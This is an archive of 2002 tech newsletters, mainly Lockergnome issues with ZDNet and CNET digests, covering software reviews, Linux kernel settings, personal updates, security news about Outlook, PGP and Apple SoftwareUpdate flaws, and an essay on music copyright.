Encyclopedia!** Are you looking for the ultimate computing resource? Discover the _Computing Encyclopedia_ from Smart Computing. Regular price $59, SPECIAL OFFER for Lockergnome readers, get your set TODAY, ONLY $29.95! --- **Windows Apps in Linux? - Part II** I don't want to mince any words, here. CodeWeavers has really hit a sweet spot with their recently-released CrossOver Office product. This is, quite simply, the fulfillment of the promise of the Wine Project. Using this slick little app, virtually all the applications in the Microsoft Office suite are fully functional in Linux. Frankly, I never thought I'd see the day when running Windows apps in Linux was exciting. Maybe it's time to take up shucking ice cubes in the blasted lands. Let's break this product up a bit. If purchased as a bundle, both CrossOver Office and CrossOver Plugin (as we discussed yesterday) share an install script. They do, however, require separate install processes, so they need to be launched individually from a shared window. I started the CrossOver Office install, dropped my Office 2000 disc in the CD drive, and fired up the install. It looked and performed exactly as you'd expect to see it in Windows. I was able to customize the install, as I always have, then let it run. At the end of the process, CrossOver Office ""fakes"" a Windows reboot and the Office suite installation is complete. Even Internet Explorer 5.0 is installed. There's an option in the CrossOver Office package to install IE 5.5 but, to my chagrin, this was the one area of the install that failed. Actually, the install itself may have succeeded - I was just left without an IE browser following the upgrade. It's hard to tell whether that was a fault in CrossOver Office, or in the IE program itself. For the most part, these apps perform in Linux as they do in Windows. The IE install was a bit kludgy, with some font problems and an inability to customize the toolbar. Word worked perfectly, allowing me even to pull together legal documents for a friend's business without so much as a hiccup. Even printing works well with the installation of a ""Wine Postscript Printer"" driver. Let me reiterate something I said yesterday. I've watched the Wine Project walk, then crawl, then walk again over the past few years. I've always suspected that the fits and starts were not for lack of talent. With the financial backing of CodeWeavers, it appears that my suspicions were well founded. Wine has, through CrossOver Office and CrossOver Plugin, matured to a level of useability that should easily attract Linux users throughout the spectrum of experience. In the big picture, widespread acceptance of these products could remove the last remaining roadblock for many current Windows users to make the leap to Linux: the loss of Word and Excel. They simply don't need to fear those losses any more. A note on the ""for pay"" structure of these products seems in order. As you well know, I'm an open source guy through and through. But, this is clearly a case in which the ""free"" efforts of talented and dedicated developers simply wasn't enough to close the gap. The value of these products easily outweighs their minimal cost. And, if it keeps these developers moving forward, it seems to be the perfect pay model for Linux. Recommend It! Send us a GnomeTWEAK GnomeCORE --- **Kernel Configuration - Part X** Today we're looking into the mysteries of Plug and Play support in your Linux kernel configuration. There's really not much mystery to it. This section simply asks the question, ""Do you want plug and play support in the kernel?"" In other words, do you have all the PCI and ISA devices in your system that you'll ever need to have? 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This week's big story: the top execs from the company are standing silent against government accusations of wrongdoing. ---|--- **2** | **BearShare 4.0:** This new version of the well-known peer-to-peer software was been completely redesigned and comes in two flavors: free with ads and paid without ads. This is nice touch, but unfortunately, 4.0 fails in one key area: downloading music. It uses the Gnutella client, but in CNET's tests, it had an abysmal success rate at actually returning files. **3** | **Jaguar:** Who ever heard of an operating system release being early? Well, Apple is managing to pull off the impossible; it intends to ship an update to OS X in August, instead of the anticipated late fall time frame. **4** | **Warcraft III:** Ah, summer: the perfect time to stay inside and sit in front of your computer. Warcraft III has just been released--right in time for the good weather. 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Earlier in the week, I released my top 50 Mac OS X tips, which marks the only thing I've ever written that I expect anyone to pay for. If you happen to use OS X, go check them out. My second publication is a PDF only explanation of the process for converting Vinyl LPs to CD, by way of your PC (how's that for alphabet soup). For the time being, you can get it absolutely free, with the caveat that I'd appreciate some feed back on what could be added to make it more useful (I'm considering some screen shots for it if I get some time). What are you waiting for -- get something free already. With the expiration of Lockergnome's old cell phone plan, Lori and I opted to make a switch to Verizon, at the recommendation of Brian Stevens. I'm already happy with the suggestion, as our previous provider had horrid customer service, not to mention I now have a much geekier phone in the form of the Kyocera QCP 6035 Palm powered unit. It's just larger than most Palm devices on the market, but having the device integration is nice. It has all the functionality of a Palm, with some Internet browsing capabilities and of course, phone access. A built in speakerphone actually works better than I expected, Now all I need to do is get more applications installed. Of interest to anyone who signed up for emusic after Chris and I talked the service up and down last week: It seems they've added in the ballpark of 1,000 Universal titles to their roster of offerings. Not surprising considering they're part of the same conglomerate, but still good news in terms of feature expansion. Jake Ludington GnomePRODUCER --- **GIF Movie Gear v3.02 [1129k] W9X/NT/W2K/XP $40** http://www.moviegear.com/gmgdet.htm The majority of GIF animation on the Web does absolutely nothing for me. I'm of the mindset that animation is meant to either tell a story or illustrate a concept -- not put something in motion just because you can. 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GnomeDVD --- ![DVD](http://images.lockergnome.com/images/dvd/tapeheads.jpg) Click for Details --- **Tapeheads** (R) 1988 Comedy - 93min Reviewer's Tilt (2) ![](http://images.lockergnome.com/images/dvdgnomefull.gif)![](http://images.lockergnome.com/images/dvdgnomefull.gif)![](http://images.lockergnome.com/images/dvdgnomefull.gif)![](http://images.lockergnome.com/images/dvdgnomehalf.gif) Two out of work rent-a-cops make an attempt to break into the music video industry in this quirky comedy. John Cusack and Tim Robbins make this comedy work, starring as the two security guards as they send up all sorts of Hollywood stereotypes. You can't help but laugh at the ridiculous predicaments these two survive, as they are greeted with cameos by a who's who of music and movie industry names. I'm sure neither Robbins nor Cusack would openly list this movie on a resume, but it is indeed a brilliant performance by both of them, especially as a demonstration of their ability to play off of each other. Although this is a late 80's release (one of the few 80's underground classics I hadn't previously seen), it remains relevant to those out there who are looking to put it to the man. If you've ever hated the recording industry and its in-crowd attitude, you'll love this film. A closing reference to Rene's Courtyard Cafe in Santa Monica, which is a regular stop for me every time I'm in the LA area, prompted me to want to watch the film for a second viewing. The movie is humorous enough for several viewings. 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What exactly do they need to do? I'm so glad they asked. ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **Here's everything you need to know** ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/b.gif) | ![](http://www.zdnet.com/b.gif) | ![](http://www.zdnet.com/b.gif) **Latest from ZDNet News** ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) Security holds back Web services ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) China: Bursting with brainpower ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) Micron cranks handle on next-gen memory ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) Japan chipmakers team on 'SoCs' chip ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) HP tech exec jumps ship to EMC ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) Holes put Linux handheld at risk ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) Microsoft bids to be creme de la CRM ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **More Enterprise News** ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/b.gif) | ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/dots249.gif) ![](http://www.zdnet.com/b.gif) **Farber's Picks** | ![](http://www.zdnet.com/b.gif) --- ![](http://www.zdnet.com/b.gif) ![](http://techupdate.zdnet.com/techupdate/i/dfarber.jpg) Dan Farber ![](http://www.zdnet.com/techupdate/i/dots75.gif) | ![](http://www.zdnet.com/b.gif) ---|--- **Desperately seeking chief ethics officer** **Greedy CEOs** are making a bad name for the profession--and corporate America. The title chief executive officer now conjures up an image of someone with questionable ethics, a greedy disposition, and a disregard for shareholders. If government-proposed remedies can""t adequately address this **ethics crisis** , disgruntled shareholders surely will. ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **Read my full commentary** ![](http://www.zdnet.com/enterprise/graphics/071102_ellison_quote.jpg) | ![](http://www.zdnet.com/b.gif) ---|--- **Oracle challenges Microsoft anew** Oracle is taking on Microsoft's Exchange with a **Collaboration Suite** that includes e-mail, calendar and messaging software. Oracle has pitched its products as Microsoft replacements before -- with spectacularly little success. (At Comdex last November, the database giant offered its 9i and app- server software as a more secure **alternative to Exchange**.) What's different this time? Oracle is selling a separate collaboration product that, says CEO **Larry Ellison** , is cheaper than rival offerings. Plus: Companies facing a deadline to join Redmond's new **licensing program** may be more open to non-Micrososft alternatives. ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **Read the full story** ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **Also: Ellison shrugs a No. 2 exec** **Standards stalled over royalty disputes** The **World Wide Web Consortium** is bracing for a vote next week that could decide once and for all how the standards body will handle patented technology that comes with royalties attached. If patented technology is rejected, the vote could mark a major shift in the Internet standards battle. Major intellectual property holders such as **Microsoft** and **IBM** have a lot at stake. ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **Read the full story** ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **Microsoft's OpenGL claim shakes graphics world** **Survey: Execs rethinking IT budgets** Growing numbers of **Fortune 1000 CIOs** are re-evaluating their IT budgets and spending plans for coming months, according to a recent survey. Morgan Stanley finds that CIOs' top priorities include security software, application integration and Windows 2000/XP upgrades for the desktop. **Integration challenges** were slowing the rate of application adoption for 38 percent of those surveyed. ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **Read more survey results** **Oh look, a new bug in Outlook and IE** A Danish security expert has warned of a security flaw in **Microsoft's ActiveX** scripting component that allows network attackers to peek at cookies, read files and even run programs on a victim's PC. The expert recommended that users disable ActiveX in IE and Outlook, at least until Microsoft releases a patch. ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **Read the full story** ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **Also: Outlook plug-in opens PCs to hackers** ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif)Write me at **dan.farber@cnet.com** ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif)**Back to top** ![](http://www.zdnet.com/b.gif) | ![](http://www.zdnet.com/b.gif) | ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/b.gif) | ![](http://www.zdnet.com/b.gif) | ![](http://www.zdnet.com/b.gif) | ![](http://www.zdnet.com/b.gif) | **Also on Tech Update Today** | ![](http://www.zdnet.com/b.gif) --- ![](http://www.zdnet.com/b.gif) **COMMENTARY** ![](http://www.zdnet.com/b.gif) | **Mixing Unix and Windows** Most enterprises have a mix of Windows and Unix systems. **Larry Seltzer** explores the options for interoperating those systems. ---|--- **Q &A;** ![](http://www.zdnet.com/b.gif) | **Marcelo Tosatti: The future is Linux** The maintainer of the Linux kernel talks about new opportunities, defends **UnitedLinux** and tells why copyright laws keep him from entering the U.S. ---|--- **PREVIOUSLY ON TECH UPDATE TODAY** ![](http://www.zdnet.com/b.gif) | **ROI calculators don't tell the whole TCO story** In response to **David Berlind's** "" **Dell's formula for ROI**,"" TCO consultant **Tom Rankin** warns that ""99 percent of TCO tools do not look at the 'total' but may look at whatever parameters suit the vendor to sell their products/services."" ---|--- ![](http://www.zdnet.com/graphics/anchordesk/frontpage/b.gif)**Crucial Clicks --products worth looking at** --- ![](http://www.zdnet.com/graphics/anchordesk/frontpage/b.gif) | ![](http://www.zdnet.com/graphics/anchordesk/frontpage/b.gif) | ![](http://www.zdnet.com/graphics/anchordesk/frontpage/b.gif) | ![](http://www.zdnet.com/graphics/anchordesk/frontpage/b.gif) | ![](http://www.zdnet.com/graphics/anchordesk/frontpage/b.gif) | **Networking** ![](http://www.zdnet.com/graphics/anchordesk/frontpage/b.gif) --- ![](http://www.zdnet.com/products/graphics/052302gateway.jpg) | ![](http://www.zdnet.com/graphics/anchordesk/frontpage/b.gif) | **Find the right home network** Choosing the right technology to match your networking needs is vital. Here's help in making the choice. ![](http://www.zdnet.com/graphics/anchordesk/frontpage/b.gif) ![](http://techupdate.zdnet.com/techupdate/i/arrow_blue.gif)Read reviews ![](http://www.zdnet.com/graphics/anchordesk/frontpage/b.gif) | | ![](http://www.zdnet.com/graphics/anchordesk/frontpage/b.gif)Most Popular Products --- ![](http://www.zdnet.com/graphics/anchordesk/frontpage/b.gif) | ![](http://www.zdnet.com/graphics/anchordesk/frontpage/b.gif) **Networking** ![](http://www.zdnet.com/graphics/anchordesk/frontpage/b.gif) **1**. Linksys EtherFast wireless AP ![](http://www.zdnet.com/graphics/anchordesk/frontpage/b.gif) **2**. Linksys EtherFast router ![](http://www.zdnet.com/graphics/anchordesk/frontpage/b.gif) **3**. Siemens SpeedStream router ![](http://www.zdnet.com/graphics/anchordesk/frontpage/b.gif) **4**. Wireless 802.11B Router ![](http://www.zdnet.com/graphics/anchordesk/frontpage/b.gif) **5**. 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All rights reserved. ZDNet is a registered service mark of CNET Networks, Inc.** | ![](http://gserv.zdnet.com/clear/outbound.gif?APPID=2&EMID=25136482&NL=e539&ISSUE=2002-07-12) ---|--- ![](http://clickthru.online.com/Click?q=50-M_6Bns0jgu_i3lf5G5ysjtTgzRRR) ",0,1 Lockergnome Tech Specialist ,qqqqqqqqqq-lg@example.com,"Fri, 12 Jul 2002 09:43:34 -0500",[Lockergnome Tech Specialist] Geothermal Caffeine,"![Lockergnome](http://images.lockergnome.com/images/gnomedaily.gif) ![See You at Gnomedex 2002!](http://www.lockergnome.com/images/ads/gnomedex2002banner.gif) --- | 07.11.2002 GnomeREPORT --- ![TechTV's Computer Basics](http://www.lockergnome.com/lgstore/sunshop/images/productpics/computerbasics.jpg) **CHRIS TEACHES THE BASICS:** If you've got friends or family who want to learn more about their PC, from a guy who makes things nice and easy, check out the VHS release of Computer Basics in the GnomeStore. Chris teams with TechTV cohort, Kate Botello, to lead novices on a journey through their computer. From basic interactions, to installing apps, to using the Internet and e-mail, Chris and Kate have all the basics covered. Help out a friend and get them a copy today. --- Wednesday's trip went fairly smooth overall, and I actually enjoyed helping out my friend Larry with some server software installation and network configuration tasks. His kids seemed impressed with the new ability to copy files between the five different computers and have Internet access at any of them. Ahh, yes... geeks in the making. After that project was finished, I met up with Jake at a nearby Starbucks to shoot the breeze and catch up on all things Lockergnome. We email all the time, but it's nice to have a face-to-face conversation for a change. He had just finished establishing new phone service with Verizon, so he has a fun new PalmOS-based phone to play with. After the dose of caffeine, I headed up to Boone, Iowa to hook up with my cousin Casey and his wife of two months, Stephanie. Their new house is awesome, but disappointing, as there was no high-speed Internet connection or wireless networking. We'll have to fix that. For now, I'll remain impressed with the geothermal heating/cooling system and the vast potential of the unfinished basement that will someday make an incredible rec room [insert suitable Tim Allen grunt here]. Casey is ticked about all of the rain recently because it keeps eroding his dirt front yard into the drainage ditch. The back yard is in great shape, as there was sod laid after construction finished up, but he decided to save a few bucks and seed the front himself next spring. This now assumes that he'll have a front yard left by then. The rain turned out to be the last event of the evening. I drove through the beginning of the storms on the way from Ankeny to Boone, and I just knew it was going to be a rough drive home later since they were only getting started at that time. I was correct. What would normally be an hour and 45 minute drive turned into nearly two and a half hours and many, many animal sightings. As the night wore on, I was half expecting to see someone building an ark in a cornfield. Must have been where the animals were headed. The rain guage at home showed 3.25"" this morning, adding to the 1.25"" and 2.5"" amounts dumped out of it within the last week. I considered setting the sprinkler up in the front yard today as an attempt at neighborly humor, but figured I'd just be labeled as a complete moron instead. So, what did I forget to take with me, you ask? Directions to Larry's house. DOH! I had to dig out the notebook at a close rest area in a vain attempt to quickly memorize the route. Instead, I decided to transcribe the list on my Jornada, which would be far easier (and safer) to read as I navigated through the streets. There's still a use for printers in this world, without question. Reading text from the tiny screen bites. Larger print and bold text on a sheet of paper is the way to go. At least I didn't leave my PDA at home as well, which I actually considered doing. See You in August, Randy Nieland GnomeNETWORK --- **Satellite Internet Delays Add Up** http://www.skycasters.com/supervpnwhitepaper.htm Have you considered moving to a satellite Internet provider at some point? While all of the marketing hype paints a rosy picture, there are a couple of things that you really must consider before writing the check. The birds are some 23,000 miles above the surface of the planet, so there is a significant delay while the bits float up and back down. The absolute minimum time for a packet to get from one place to another is nearly a quarter of a second. Add in hops across the Internet and other hardware latency and it's common to see ping times of between 500 and 1000 milliseconds - an eternity when you're talking about TCP/IP connections. Now consider how VPN connections are affected, being that they are generally significantly slower on the ground without the extra 46,000 miles. Ouch! This white paper is a tad marketing driven, but I think their explanation of technology and how they are addressing VPN- over-satellite connections is quite informative. GnomeSYSTEM --- **PGP Outlook Plug-in Vulnerability** http://www.nai.com/naicommon/download/upgrade/patches/patch-pgphotfix.asp Even encryption software is potentially exposed to security problems. Network Associates' PGP software, which interfaces directly with Microsoft Outlook, has been found to be vulnerable to malicious code within an email. Exposed systems can be made to execute code of the attacker's choice, and because email can be sent from anywhere and to anywhere. Tracking down the source could be rather difficult. Hotfixes for each of NAI's products are available on their website. GnomeALERTZ --- **Today's Top 5 kbAlertz** * Q311885 - TAPI Error 0x8000022 Occurs with an English (Canada) or French (Canada) System Locale (Q311885) * Q311842 - Help and Support May Stop Responding When You Use the Network Diagnostic Tool (Q311842) * Q311838 - An OpenGL Program May Cause an Access Violation in Windows XP 64-Bit Edition (Q311838) * Q311542 - Devices May Not Power Up Properly When Resuming From Standby (Q311542) * Q311345 - Long Delay with No Prompt Between the Time When You Click Finish and When the Desktop Loads (Q311345) **GET WINDOWS XP TIPS:** Months after the release of Windows XP Professional and Home editions, people are still learning the nuances of Microsoft's newest operating system. Whether you've been using it for a while or are planning to upgrade to the new OS soon, this ebook is right up your alley. GET YOUR COPY of Lockergnome's Top 50 Windows XP tips now! --- Recommend It! GnomeASSISTANT --- **Intro to Relational Databases** http://www.15seconds.com/issue/020522.htm You know what a database is, right? Sure you do. Can you explain what a relational database is all about? Correctly? There's a lot more to database management and development than dumping a bunch of records into tables and generating reports. Proper design is crucial. Trust me. I've been on the receiving end of some lazy programming efforts that ignore the foundation of relational databases, and it usually results in additional work later. GnomeSTUFF --- **Smile While You Surf** I like creative use of 404 pages, so sue me. Some of you have complained about the one Chris created for display when you come across a bogus link on the Lockergnome web site, which I don't understand. Would you rather stare at that stupid-looking, uninformative and generally useless one that your browser provides by default? Cramsession.com posted some unique ""excuses"" for their site being down for maintenance, and I thought I'd share a few: * Roses are red Our web site is resting We're fixing the server While Everquesting * In the interest of research, we're testing to see how long it takes a Network Administrator to get through a people-size maze to the web servers. As soon as he finds them, we'll be back online... Unless the Marketing Minotaur gets him first. * Suicide note found on the web server: ""I've had it. I can't take the heat anymore. You ran me ragged, and what thanks did I get? None. Null. Nothing. I gave and I gave, and you still wanted more I spent every second of my day trying to make you happy, but it was never enough. Always work faster, do more, stay late, work overtime, be more efficient. I was never good enough for you anyway. You deserve better. Signed CPU."" * You have reached the Cramsession Maintenance Page. While you are staring at this page, waiting for the website to come back up, (should take about an hour or two) We'd like to offer the following fun activities: 1. Hold your breath until you see black spots dancing in front of your eyes. 2. Spin around in your chair until you get nauseous. Wheee! 3. Pretend your mouse is a microphone. Dictate a memo into it where you outline your plans for global domination. 4. Connect the dots! . . . . . . . 5. Get monitor cleaner so you can wipe ink off of screen from connecting the dots. * We apologise for the inconvenience of our missing web site. We're doing something really ""high tech"" and ""important"" behind this ""maintenance"" curtain. We'll be back just as soon as we catch all the gophers.....Again. * HELP! I'm locked in the Server Room. Please send Help! And I'm running out of potato chips, too! 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Dennis Jarrett, a gnomie from the UK with a prolific list of writing accomplishments, lent his brain to a list of things everyone should know to make using Dreamweaver 4 (and newer) easier to use. I 've never actually used version 4, having stuck with 3 until recently starting the review process of the StudioMX suite, but I've been able to apply every tip I tried to some aspect of DreamweaverMX, so I can only guess those of you using 4 will want to check 'em out too. As I mentioned in yesterday's Digital Media newsletter, I recently switched cell phones to the Kyocera QCP6035. The unit is Palm powered, with a screen the size of an m105 and all the functionality of Palm OS, in addition to having the latest bells and whistles you'd want in a phone. Built in Web browsing, by way of MSN, is slightly cumbersome compared to what I'm used to from my cable connection, but I can already see the usefulness in carrying around portable access to things like driving directions. Now that I've got a way to test the final results in real time, I've got a more vested interest in making Lockergnome considerably more WAP compatible. I'm still figuring out many of the phone's features, so that's still going to be at least a few weeks away. Without a doubt, I'll be sharing my experiences in WAPing Lockergnome in an upcoming series of articles. Jake Ludington GnomeMAIL --- **phpMyNewsletter** http://gregory.kokanosky.free.fr/phpmynewsletter/ As a free solution for managing newsletters, for smaller lists, this does most of what you need. Subscribers are stored in a mySQL database, with the ability to send user confirmation e-mails. Initially, the address must still be added manually to the database, which isn't idea, but doing this generates a confirmation e-mail with a link that users click on if they want to be added. The software purges addresses with no response, following an administrator defined waiting period. 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The suit named Morpheus parent StreamCast Net= works, Grokster and Kazaa BV, the Netherlands-based company that originally= created the Kazaa software. However, in February, Kazaa BV sold the Kazaa file-swapping software to Sha= rman, a company later revealed to be based in Vanuatu, a small island in th= e South Pacific. The recording and movie industry trade groups asked permis= sion to add that company to the lawsuit in June. A judge ruled this week th= at Sharman could be added to the lawsuit. **Shoring up U.S. security** Computer security is becoming increasingly critical to Presiden= t Bush's proposal for a homeland defense department. When Bush formally pro= posed the department last month, he never mentioned the Internet or so-call= ed cybersecurity. But as Capitol Hill scrutinizes the proposal, politicians are fretting abou= t tech-savvy terrorists--and insisting any new agency must shield the Unite= d States from electronic attacks as well. House Republicans have asked comm= ittees for any suggested changes to the White House-backed bill by the end = of the week. Included in the proposal are radical changes for the U.S. government's Inte= rnet defenses. The plan would stitch together nearly all computer protectio= n functions, from the Commerce Department's Critical Infrastructure Assuran= ce Office to the Computer Security Division of the National Institute of St= andards and Technology to the Federal Computer Incident Response Center. Additionally, the proposed department is likely to get its own priv= acy czar. A draft of the legislation seen by CNET News.com states that = the Secretary of Homeland Security must appoint a privacy officer to ensure= that new technologies ""sustain and do not erode"" privacy protections and t= o verify that the agency's massive databases operate within federal guideli= nes. **Who's running your computer?** Perhaps a more immediate security concern to individuals is what is going o= n now with their computers. Apple Computer OS X users could let hackers piggyback malicious cod= e on downloads from the company's SoftwareUpdate service. According to= the BugTraq mailing list, a hacker named Russell Harding has posted full i= nstructions for how to fool Apple's SoftwareUpdate feature to allow a hacke= r to install a backdoor on any Mac running OS X. The exploit takes advantage of SoftwareUpdate, Apple's software updating me= chanism in OS X, which checks weekly for new updates from the company. Acco= rding to Harding, who claims to have discovered the exploit, the feature do= wnloads updates over the Web with no authentication and installs them on a = system. So far, there are no patches available for this problem. Users of Microsoft's Internet Explorer, Outlook and Outlook Express applica= tions may be vulnerable to a recently discovered software flaw = that could leave their system open to malicious code carried on Web pages o= r in e-mails. A security researcher and partner at risk-assessment company = PivX Solutions warned that HTML objects embedded in Web pages and e-mail co= uld carry code that allows an attacker to check out victims' cookie files, = read their documents and execute programs on their computer. Still another problem is plaguing Outlook: A popular plug-in that lets user= s encrypt and digitally sign messages has inadvertently weakened security and left the mail program open to attack. Security company eEye = Digital Security issued a warning late Wednesday to users of Network Associ= ates' Pretty Good Privacy (PGP) plug-in for Outlook, saying that a vulnerab= ility in the add-on could let attackers execute malicious software on a vic= tim's computer. **Wi-Fi everywhere, but not everyone** One of the first cameras that can shuttle photos and videos using the Wi-Fi= wireless networking technology has made its debut. IQinVision = plans to sell the camera to companies such as security firms that need to p= ut video cameras in places where wires can't go, or as a way to quickly ins= tall a temporary security system. This product is among the first devices to combine digital videography and = wireless LANs (local area networks) that use the Wi-Fi, or 802.11b, standar= d. Expect more digital camera makers to follow suit. The number of digital = cameras has been on the rise, and it's only a matter of time before a camer= a maker wants to add a popular new technology like Wi-Fi. Wi-Fi is also invading handheld devices. Wireless equipment mak= er Intersil is working with SyChip to incorporate 802.11b wireless networki= ng technology into a Secure Digital (SD) card for handheld devices. The car= d, which should be available to manufacturers for testing in the fourth qua= rter, lets handheld owners add and remove wireless networking capabilities = to handhelds that contain an SD slot from Palm, Hewlett-Packard and other c= ompanies. Wireless SD cards would make it far easier for handheld manufacturers and o= wners to get these devices linked. Only a few handhelds include wireless ca= pabilities, and they are some of the most expensive on the market. With the= card, wireless access becomes an option for many. Not everyone is pleased with the explosion in popularity of wireless networ= king. Broadband providers are cracking down on some customers, = threatening to cut service to those who set up the inexpensive wireless sys= tems and allow others to freely tap into their Internet access. After being introduced just a couple of years ago, so-called Wi-Fi ""hot spo= ts"" that tap into cable or digital subscriber lines (DSL) are now in at lea= st 15 million homes and offices. The problem is that one paying subscriber = can set up a local network that allows several other people to access the N= et, for fun or for profit. **News.com special focus: China** As China's society changes and its education system matures, the country is= becoming a major consumer and producer of computer products. And as the gl= obal recession leaves few fertile opportunities elsewhere, China has emerge= d as a primary target for foreign business. A News.com three-part special report examines the various reasons that this may eventually b= e known as China's high-tech century. **Also of note** Apple Computer plans to serve up a new iMac model with a larger fla= t-panel display during next week's Macworld Expo trade show...Microsoft= joined the growing customer relationship management market by prev= iewing its first CRM product...America Online has quietly been testing an update to its popular AOL Instant Messenger, using graphics= to create personal looks reminiscent of Yahoo's chat features...Federal re= gulators deactivated hundreds of thousands of credit cards belo= nging to former customers of NextCard...IBM's hard drive business, which th= e company is selling to Hitachi, lost $515 million in the five = most recent quarters...Yahoo reported its first profit in six q= uarters but found it difficult to assuage analysts' concerns about its core= advertising business. _Want more? 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I first met Jon Snyder at an Apple user's group meeting a couple of years ago; to me, he always looked like a beefier Robert Beltran. Death is something we all must deal with, but you never seem to be prepared for it when someone actually dies. A few months ago, Aunt Theresa sent word that she had seen my show. It was good to know that even though we hadn't interacted much over the past few years, she was still able to see me on TV. And even though you didn't know him, you're closer to Jon than you realize. Witness this message he sent to his boss a few months ago: _""I evangelized for months last year for having our company at the first of these consumer computer conferences in Des Moines last October, but got shot down. The conference was a hit despite being postponed by 9/11, and having to move the venue at the last minute. I know... I was there. So, I'm starting all over again being 'pushy' about our presence at this event in August of this year. Chris Pirillo, whose Des Moines-based commercial email publishing group 'Lockergnome' puts this conference together, is a friend of mine. He was the 'kid' hired by TechTV to host their Call for Help daily TV program in SF starting last fall. If you get the Dish network or Mediacom cable you can catch his show. I have my DishPlayer set up to record his show on a daily basis. It's VERY well done, as is TechTV as a whole.""_ I returned from speaking to another user group the other night and found that approximately 100 new GnomeTomes had been ordered. Sweet! When I started looking closer at the numbers, I realized that Jake was offering his Converting Vinyl LPs to CD eBook for free - and that's all anybody was taking. No, seriously - five hundred orders later, and 99% of them were just for that particular title. Now, while I don't have a problem with Jake's offer, I do want to encourage you to check out the non-free titles (and if you've already looked, please look again). A lot of blood, sweat, and tears went into them - and they're just as helpful. In fact, Jake's also written one for OS X (which probably wouldn't impress you if you weren't using an Apple machine). Although, I'm sure plenty of you use Dreamweaver. Which reminds me: Jake's also now authoring our Webmaster Weekly newsletter. So, if you haven't read that in a while, I'd encourage you to give it another glance. After all, as Elwood Edwards so finely said: You've Got Lockergnome! Thanks to David Lawrence for making that MP3 a reality. El can make one with your name, too. And yes, that's the AOL guy. See You in August, Chris Pirillo GnomeDOWNLOADS --- **VLINK v0.6.8.0 [257k] W9x FREE** http://www.vxtech.org/ {Desktop link manager} Nothing gets you there faster than a link. I mean, imagine if while you're surfing, you had to stop and type in a URL every time you wanted to move to a new page. Simply unacceptable. So why not have that convenience when working with other files? This application gives you the option of opening or running any file or program you desire via links. You can also shut down your computer or disable your screensaver through this program. ""No installer is required for VLink - it will not change any of your registry settings or other Windows settings; simply extract the files PowerLink.dll and VLink.exe to a directory and run it."" **GhiaTracker v1.5 [370k] W9x/2k/XP FREE** http://homepage.mac.com/karmannghia/ghiatracker/ {Learn about your Ghia} Gearheads, motorheads, call them whatever you will, but I've never been part of their ranks. Not that I don't like cars, mind you; I find them much more useful than pogo sticks. If you happen to own a little vehicle known as the Karmann Ghia, you should drive on over and download this program. Click on any year between 1956 (the year it went into production) and 1974 to get a brief synopsis of the car and its changes for that year. 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The WebTV Viewer simulates WebTV on your system. Read the online Viewer Installation Guide to find out more on how to use this software. Important: the PC version of the WebTV Viewer (2.6) reflects all of the features of the most recent upgrade from Spring 2001. Note: The Viewer is similar, but not identical, to a real WebTV system. The WebTV Viewer program is currently beta-level software on both Windows and Macintosh. This means that it has not been completely tested and debugged. The WebTV Viewer is like a WebTV browser because: it changes page layout by compressing page width and enlarging text; and it supports HTML, JavaScript, as well as other Internet standards in the same way. The WebTV Viewer is not like a WebTV browser because: your computer monitor has a higher resolution than a television screen, and displays color better; and the Viewer does not support email or audio, while the WebTV browser does."" Recommend It! GnomeWILDCARD --- | | **Full PDF Books** --- Poor Richard's Web Internet Promotions E-Mail Publishing Web Site Makeover Websites Made Easy Online Communities Home Networking Internet Recruiting Online Branding **The Evidence is Against You** Scribbled by Jim Girard Every time some new technology has expanded free access to popular music, starting with radio broadcasts of recorded songs in the 1930s, the recording industry has fought it - claiming that it would cost them money. And every time, it has resulted in increased sales. The best-known example, of course, was the advances in tape cassette technology in the 60s and 70s, including Dolby sound technology. As with MP3, this technology was opposed by the music industry as different from previous such developments, because it made it possible for ordinary people to create their own copies at near-professional quality. The actual result was the creation of a whole new profit center for the music industry - pre-recorded cassette tapes - which actually became more popular than vinyl for a while (before the advent of CD technology). The thing is, the music industry is well aware of this effect - and they are not really aiming to stop the private exchange of songs in MP3 format. If that were their goal, they'd be instituting widespread, aggressive legal actions against all the server-centered nodes (as they did against all radio stations playing their music in the 30s, when they really thought the phenomenon was going to wipe them out). Instead, they have focused on the best-known services - first Napster, then Morpheus, KaZaA, and most recently, Audiogalaxy. Even in those cases, they've limited their legal challenges to things they know they can win - and they've avoided actual court trials whenever possible (to avoid the possibility of setting some damaging precedent). The point that seems to escape a lot of people is that copyright is not a property in the same sense as most of the things we think of as property. One key difference is that if you don't defend it, you lose it. If you left your car sitting in the driveway, with the window open and the keys in the ignition, and somebody drove away in it, that would still be theft - and you'd still be entitled to get your car back. Not so with copyright. If you are aware of infringement and you do nothing to try to stop it, you are voluntarily allowing it to enter the public domain. It's for the same reason that big companies insist that newspapers put a copyright or trademark symbol after the names of their products whenever they're mentioned, and not use words like ""Coke"" or ""Kleenex"" as generic terms. They don't really expect everybody to do what they say - and they're well aware that having the name of one's product become the generic term for a product is actually a great 